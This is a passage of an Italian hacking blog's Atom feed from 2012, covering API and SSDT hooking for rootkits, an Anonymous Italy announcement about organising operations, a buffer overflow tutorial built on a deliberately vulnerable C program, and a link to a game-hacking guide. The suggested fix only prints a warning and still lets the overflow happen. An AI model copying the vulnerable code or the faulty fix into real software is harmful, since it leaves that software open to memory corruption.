&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ktZpI_N0LzkHDt5T8WjlYHACIWjtC4MkRKnTFu9ASOLxi_uFtLoQ4Ws_owEc3xTGwb1_1QNAhkZSED3pVhbDzCQWqnQ9GapkLsVgd6jo9vBn-5N3CNQAw7Pg6N4c4v26fniceekjhSY9/s1600/dll+replacing.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;94&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ktZpI_N0LzkHDt5T8WjlYHACIWjtC4MkRKnTFu9ASOLxi_uFtLoQ4Ws_owEc3xTGwb1_1QNAhkZSED3pVhbDzCQWqnQ9GapkLsVgd6jo9vBn-5N3CNQAw7Pg6N4c4v26fniceekjhSY9/s640/dll+replacing.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
-Alterare l&#39;SSDT (&lt;span style=&quot;border: 0px none; line-height: 20px; margin: 0px; outline: 0px none; padding: 0px; text-align: left; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;System Service Descriptor Table)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;border: 0px none; line-height: 20px; margin: 0px; outline: 0px none; padding: 0px; text-align: left; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;border: 0px none; line-height: 20px; margin: 0px; outline: 0px none; padding: 0px; text-align: left; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;parliamo di SSDT Hooking e parliamo di un hooking in kernel-mode. Una cosa completamente diversa e molto più difficile.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;border: 0px none; line-height: 20px; margin: 0px; outline: 0px none; padding: 0px; text-align: left; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;border: 0px none; line-height: 20px; margin: 0px; outline: 0px none; padding: 0px; text-align: left; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Come avrete notato, non posso dilungarmi perché dovrei scrivere un pdf intero, ma sul web è presente una vasta gamma di guide e illustrazioni (tutte in inglese), per capire meglio ogni singola tecnica di quelle accennate.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;border: 0px none; line-height: 20px; margin: 0px; outline: 0px none; padding: 0px; text-align: left; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;line-height: 20px;&quot;&gt;Sicuramente una buona illustrazione italiana, molto semplice ed intuitiva sull&#39;API Hooking, usato per il reverse engineering, è questa:&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://pasotech.altervista.org/delphi/articolo60.htm&quot;&gt;API Hooking in User-Mode, programmazione in Delphi&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;line-height: 20px;&quot;&gt;L&#39;API Hooking (come l&#39;SSDT Hooking) in kernel-mode è sicuramente stata una delle più usate tecniche per la creazione di rootkits, perché è di facile comprensione e soprattutto perché il web è pieno zeppo di sorgenti che illustrano bene il suo sfruttamento, ma è da qualche tempo che le misure di sicurezza contro questa tecnica sono diventate veramente tante, grazie agli sviluppatori che hanno creato vari software anti-rootkit, quindi non c&#39;è da preoccuparsi. Come ho accennato prima, adesso c&#39;è il sistema del &quot;ring -1&quot; (è abbastanza scorretto definirlo così,ma lo faccio per comodità), che però è un metodo a cui sono a conoscenza solo esperti di sicurezza informatica a livello mondiale.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 20px;&quot;&gt;Prossimamente, farò una guida più pratica e specifica sull&#39;API Hooking in User Mode, dove illustrerò in modo pratico come effettuare l&#39;hooking di una MsgBox in un programma.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;line-height: 20px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/5951386988553105687/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/07/api-hooking-reversing-avanzato.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/5951386988553105687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/5951386988553105687'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/07/api-hooking-reversing-avanzato.html' title='API Hooking, reversing avanzato'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1ktZpI_N0LzkHDt5T8WjlYHACIWjtC4MkRKnTFu9ASOLxi_uFtLoQ4Ws_owEc3xTGwb1_1QNAhkZSED3pVhbDzCQWqnQ9GapkLsVgd6jo9vBn-5N3CNQAw7Pg6N4c4v26fniceekjhSY9/s72-c/dll+replacing.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-3347684497014245369</id><published>2012-07-05T12:24:00.000+02:00</published><updated>2012-07-05T12:25:05.437+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Novità"/><title type='text'>AnonITA, rivoluzione nel sistema di comunicazione</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUgyyLss0_ODUO08Iu_mJPw-uNANng326EA-XuTS7rIiUe2InrPHzxnaC79WgcoGIGHdkFCD-nSEPvwWeVnl_sCNlH9Bj-B22kUkCU_ALRoSRiZv-YWwAj3MzFV1hcUuPer1NNxrFrzOui/s1600/Anonymous.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;199&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUgyyLss0_ODUO08Iu_mJPw-uNANng326EA-XuTS7rIiUe2InrPHzxnaC79WgcoGIGHdkFCD-nSEPvwWeVnl_sCNlH9Bj-B22kUkCU_ALRoSRiZv-YWwAj3MzFV1hcUuPer1NNxrFrzOui/s320/Anonymous.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Vorrei darvi una notizia di quelle che non si leggono sui giornali o sui siti di web news: Anonymous ITA si sposta, e rivoluziona l&#39;organizzazione delle operazione tramite un nuovo portale ServerLess.&lt;br /&gt;
Sarà come vivere in un vero e proprio forum, e ogni utente avrà una reputazione, che potrà essere modificata dagli altri utenti.&lt;br /&gt;
&lt;br /&gt;
Il perché di questo cambiamento sono state proprio le critiche, che io stesso condividevo pienamente, sull&#39;organizzazione dell&#39;attacco al sito &quot;beppegrillo.it&quot; e, a parer mio, non solo di quest&#39;ultimo.&lt;br /&gt;
Questo era sicuramente il più grande pronblema di AnonOps, che però veniva visto dagli utenti come un punto di forza, cioè l&#39;ACCESSIBILITA&#39; A TUTTI.&lt;br /&gt;
Questo, aveva comunque i lati negativi e positivi, da un lato c&#39;era appunto l&#39;organizzazione, che era veramente troppo precaria, mentre dall&#39;altro, il fatto che chiunque poteva entrare e dare una mano.&lt;br /&gt;
Visto che la forza di Anonymous è fondata su questo, non è cambiato, ma sono riusciti lo stesso a migliorare l&#39;organizzazione delle operazioni.&lt;br /&gt;
&lt;br /&gt;
Speriamo che riusciremo, tutti insieme, a perseguire degli obbiettivi comuni, in questo momento di grande crisi che pesa come un macigno a livello psicologico e non.&lt;br /&gt;
Ribadisco che Anonymous resta APERTA A TUTTI. Se vuoi, tu PUOI FAR SENTIRE LA TUA VOCE.&lt;br /&gt;
&lt;br /&gt;
We are Legion.&lt;br /&gt;
We do not forget.&lt;br /&gt;
We do not forgive&lt;br /&gt;
Expect Us.</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/3347684497014245369/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/07/anonita-nuovo-sistema-di-comunicaaione.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/3347684497014245369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/3347684497014245369'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/07/anonita-nuovo-sistema-di-comunicaaione.html' title='AnonITA, rivoluzione nel sistema di comunicazione'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUgyyLss0_ODUO08Iu_mJPw-uNANng326EA-XuTS7rIiUe2InrPHzxnaC79WgcoGIGHdkFCD-nSEPvwWeVnl_sCNlH9Bj-B22kUkCU_ALRoSRiZv-YWwAj3MzFV1hcUuPer1NNxrFrzOui/s72-c/Anonymous.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-6699742195573283572</id><published>2012-06-28T10:44:00.001+02:00</published><updated>2012-06-28T10:44:51.564+02:00</updated><title type='text'>Buffer Overflow, analisi di un programma buggato su windows.</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjva2EVPLCAF74_QdQCwBYKKqE-VKAD4MYAvv_JWcHnbGhUiwzKWifQ2bfuYMhzRaJhGE8_lZ4t13OV7DtSdkCtWDqzW9Szbng7yZFgEMvdwA7dkbNABdHb-NrCwaySAMzYLp7Jeb_Re2BU/s1600/buffer+overflow+2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjva2EVPLCAF74_QdQCwBYKKqE-VKAD4MYAvv_JWcHnbGhUiwzKWifQ2bfuYMhzRaJhGE8_lZ4t13OV7DtSdkCtWDqzW9Szbng7yZFgEMvdwA7dkbNABdHb-NrCwaySAMzYLp7Jeb_Re2BU/s400/buffer+overflow+2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Senza andare a scrivere un PDF intero, vorrei cercare di far capire, in modo molto pratico, in cosa consiste il buffer overflow, andando ad analizzare un programma buggato e creato ad HOC in C, per questo scopo.&lt;br /&gt;
&lt;br /&gt;
L&#39;obbiettivo di questo articolo è SPIEGARE NEL MODO PIU&#39; SEMPLICE POSSIBILE questa tecnica, che ad occhi inesperti può sembrare abbastanza ostica.&lt;br /&gt;
&lt;br /&gt;
I requisiti sono una conoscenza basilare del C e un po di manualità con l&#39;analisi di un software (cosa che, se avete seguito il mio blog nelle mie guide sul reversing, avrete).&lt;br /&gt;
Andremo quindi a exploitare un nostro sorgente e lo analizzeremo durante il buffer overflow. Andremo quindi a vedere come sfruttare il bug e infine come toglierlo.&lt;br /&gt;
&lt;br /&gt;
Veniamo subito al dunque andando a creare il nostro programma buggato:&lt;br /&gt;
&lt;br /&gt;
Code:&lt;br /&gt;
&lt;h4&gt;







&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;color: blue; font-size: x-small;&quot;&gt;&lt;i style=&quot;font-weight: normal;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;void func_bugged (char *input) {&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;char loal[5];&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;strcpy (loal, input);&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;}&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;int main () {&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; char asd[100];&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; printf (&quot;Inserisci una parola -&amp;gt; &quot;);&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; scanf (&quot;%s&quot;, &amp;amp;asd);&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;func_bugged (asd);&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small; font-weight: normal;&quot;&gt;&lt;i&gt;}&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/h4&gt;
Bene, adesso compilatelo con il vostro compilatore, ed analizziamolo un secondo guardo il source; viene chiesto all&#39;utente di inserire una parola e questa viene data alla variabile &quot;asd&quot;, che a sua volta viene data alla funzione buggata che copia, tramite la &quot;strcpy&quot; questa nella variabile char &quot;loal&quot;, che ha un buffer di 5 caratteri. Può sembrare un errore ridicolo, ma un programmatore inesperto che si trova davanti a centinaia, se non migliaia di righe di codice, può benissimo commetterlo; inoltre, l&#39;errore spesso è commesso quando si inizializzano buffer anche molto più grandi.&lt;br /&gt;
&lt;br /&gt;
Passiamo quindi all&#39;analisi del codice tramite il nostro buon OllyDBG.&lt;br /&gt;
Come prima cosa, mettiamo il breackpoint sulla strcpy, così possiamo vedere, una volta elaborata la call, cosa succede nei registri, se andiamo a superare il buffer (overflow).&lt;br /&gt;
Quindi inseriamo, quando il programma ce lo chiede, una stringa, ad esempio io ho messo &quot;wsasdLK&quot;.&lt;br /&gt;
Olly, breckerà, e proseguiamo di uno step per vedere che cosa è successo, premendo F8.&lt;br /&gt;
Guardate adesso i registri, a me risultano così:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT9SIVpKKS1q8lWAbLAze-Y0i4Bz83Vq4uw3LrntDY1Lmb0fvuJOIqJYtXlw6sl-8GlAzkMaUnuZ22KXyLACXbhL0JuGd1q1gxsuYvQe__qoOLdMDNSoyjhkCEqcLJgB1L7UDoH0VFzenG/s1600/registri.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;130&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjT9SIVpKKS1q8lWAbLAze-Y0i4Bz83Vq4uw3LrntDY1Lmb0fvuJOIqJYtXlw6sl-8GlAzkMaUnuZ22KXyLACXbhL0JuGd1q1gxsuYvQe__qoOLdMDNSoyjhkCEqcLJgB1L7UDoH0VFzenG/s400/registri.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Adesso vi invito a guardare con attenzione il registro EDX, che ha come valore 004B4C64, che sembra un indirizzo molto insolito, ma in realtà non è altro che la versione esadecimale dei caratteri ascii &quot;dLK&quot;, come sempre, capovolti rispetto all&#39;hex view.&lt;br /&gt;
&lt;br /&gt;
Infatti:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;1- &amp;nbsp;&quot;d&quot; = 100 decimale = 64h.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;2- &quot;L&quot; = 76 decimale = 4Ch.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;3- &quot;K&quot; = 75 decimale = 4Bh.&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i&gt;ECX = 004B4C64&lt;/i&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Come avete visto, tramite questa tecnica riusciamo a modificare la memoria. Per la fortuna del nabbissimo programmatore che ha fatto questo sorgente (io...LOL), la vulnerabilità, in questo programma, non è sfruttabile, in quanto il registro EDX viene, poco dopo, sostituito con un indirizzo tramite l&#39;istruzione MOV, e comunque il programma termina, ma in programmi dove dopo la funzione buggata ce ne sono altre, il registro manipolato, può essere di grande importanza e la sua modifica può permettere all&#39;attaccante una code injection a volte disastrosa.&lt;br /&gt;
Ad esempio se ci fosse stata una &quot;Call ECX&quot;, avendo il controllo sulla IAT e sul registro avremmo potuto modificare l&#39;intero flusso del programma, senza andare a toccare nulla a livello di codice...fantastico no?? LOL... &lt;br /&gt;
&lt;br /&gt;
Se siete arrivati a questo punto, comprendendo bene ogni singolo punto della guida, dovreste riuscire ad intuire il come togliere nel programma, la vulnerabilità; comunque sia, lo dico per chi pensa che ci vogliano chissà quali righe di codice, basta un:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;if (strlen(asd)&amp;gt;= 5) {&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;color: blue;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Loal, tentato BoF&quot;);&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;i style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;}&lt;/span&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Spero che in questa guida, molto approssimativa e concisa, io sia riuscito a farvi comprendere il funzionamento generale del buffer overflow. Per approfondimenti, vi rimando alla vasta mole di materiale che è presente sul web, buono studio.</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/6699742195573283572/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/06/buffer-overflow-analisi-di-un-programma.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6699742195573283572'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6699742195573283572'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/06/buffer-overflow-analisi-di-un-programma.html' title='Buffer Overflow, analisi di un programma buggato su windows.'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjva2EVPLCAF74_QdQCwBYKKqE-VKAD4MYAvv_JWcHnbGhUiwzKWifQ2bfuYMhzRaJhGE8_lZ4t13OV7DtSdkCtWDqzW9Szbng7yZFgEMvdwA7dkbNABdHb-NrCwaySAMzYLp7Jeb_Re2BU/s72-c/buffer+overflow+2.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-6568542440254840725</id><published>2012-06-21T12:56:00.001+02:00</published><updated>2012-06-21T12:56:13.536+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><title type='text'>[PDF]Come si crea un Hack in AutoIT</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC4HUGoVPaLPvQRUnI91yjN_9TkEgAK89MgMkYkaQVefKgNsTM21ZJ9TrkPzbaai-xNwJR8aBkHuZQfFHh9kv5qHfs0ZtDk_IgmBD30zn8THlCEOB_3A5KVM46xN2G3CaEwuo8Y80qBZB_/s1600/autoIT.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC4HUGoVPaLPvQRUnI91yjN_9TkEgAK89MgMkYkaQVefKgNsTM21ZJ9TrkPzbaai-xNwJR8aBkHuZQfFHh9kv5qHfs0ZtDk_IgmBD30zn8THlCEOB_3A5KVM46xN2G3CaEwuo8Y80qBZB_/s320/autoIT.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Ho deciso di fare una specie di continuazione al precedente PDF, nel quale spiegavo un bel pò della parte teorica sulla creazione di un Hack.&lt;br /&gt;
&lt;br /&gt;
Il motivo di questo PDF è stato proprio il fatto che la precedente guida non dava l&#39;autonomia necessaria per fare un hack, senza essersi andati a vedere prima altre cose più specifiche.&lt;br /&gt;
Inoltre, ho notato che non era stata ancora fatta da nessuno una vera guida sulla creazione degli hack mediante l&#39;AutoIT&lt;br /&gt;
&lt;br /&gt;
Ho scelto proprio l&#39;autoIT perché tra questo e il VB, sia sotto l&#39;aspetto della &quot;programmazione&quot; sia sotto l&#39;aspetto della creazione degli hack, l&#39;ho sempre preferito, per scelta personale (senza creare dibattiti, ognuno ha i suoi gusti).&lt;br /&gt;
&lt;br /&gt;
Spero che con questo PDF, si riesca a completare un quadro abbastanza buono per iniziare a creare hack in completa autonomia, e spero che abbia il successo che ha avuto la prima parte.&lt;br /&gt;
Vi chiedo gentilmente di avvisarmi tramite email se ci dovessero essere errori gravi a livello concettuale, anche se non penso.&lt;br /&gt;
&lt;br /&gt;
Inoltre, nell&#39;archivio ho messo:&lt;br /&gt;
&lt;br /&gt;
-La guida in PDF (-.-)&lt;br /&gt;
-La video-guida per trovare un puntatore statico, di SpeedJack&lt;br /&gt;
-Il mio &quot;hack&quot;: Spider Score Editor&lt;br /&gt;
-L&#39;UDF di Nomad, la NomadMemory&lt;br /&gt;
&lt;br /&gt;
Non mi resta che augurarvi una buona lettura...&lt;br /&gt;
&lt;br /&gt;
Download:&amp;nbsp;&lt;a href=&quot;http://www.mediafire.com/download.php?qua50emt0aq3kxa&quot;&gt;[PDF]Come si crea un Hack in AutoIT.rar&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/6568542440254840725/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/06/pdfcome-si-crea-un-hack-in-autoit.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6568542440254840725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6568542440254840725'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/06/pdfcome-si-crea-un-hack-in-autoit.html' title='[PDF]Come si crea un Hack in AutoIT'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC4HUGoVPaLPvQRUnI91yjN_9TkEgAK89MgMkYkaQVefKgNsTM21ZJ9TrkPzbaai-xNwJR8aBkHuZQfFHh9kv5qHfs0ZtDk_IgmBD30zn8THlCEOB_3A5KVM46xN2G3CaEwuo8Y80qBZB_/s72-c/autoIT.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-6720258952737435018</id><published>2012-06-14T20:38:00.003+02:00</published><updated>2012-06-14T20:38:37.750+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><title type='text'>Manual Unpacking, il gradino indispensabile</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
